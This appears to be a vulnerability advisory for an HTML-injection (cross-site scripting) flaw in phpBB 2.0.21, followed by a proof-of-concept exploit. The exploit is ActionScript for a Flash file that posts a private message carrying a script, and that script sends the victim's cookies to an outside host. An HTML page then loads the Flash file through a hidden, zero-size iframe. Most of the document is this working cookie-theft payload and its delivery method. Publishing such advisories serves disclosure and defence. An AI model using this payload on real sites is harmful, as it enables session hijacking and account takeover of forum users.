source: http://www.securityfocus.com/bid/22001/info

phpBB is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would execute in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible. 

Version 2.0.21 is vulnerable; other versions may also be affected.

Create a Shockwave Flash file with this code:

var username:String = "user_that_doesnt_exist";
var subject:String = "Xss Exploitation";
var message:String = "&lt;/textarea&gt;<script>document.location= 'http://site.com/cookie.php?c=' + document.cookie </script>";
var folder:String = "inbox";
var mode:String = "post";
var post:String = "Submit";
getURL("http://www.example.com/phpBB2/privmsg.php", "_self", "POST");

Put it into a web page:

<html>
<head>
<title>Put a title here</title>
</head>
<body>
<p>Put some text here<p>
<iframe src="http://www.example.com/exploit.swf" frameborder="0" height="0" width="0"></iframe>
</body>
</html>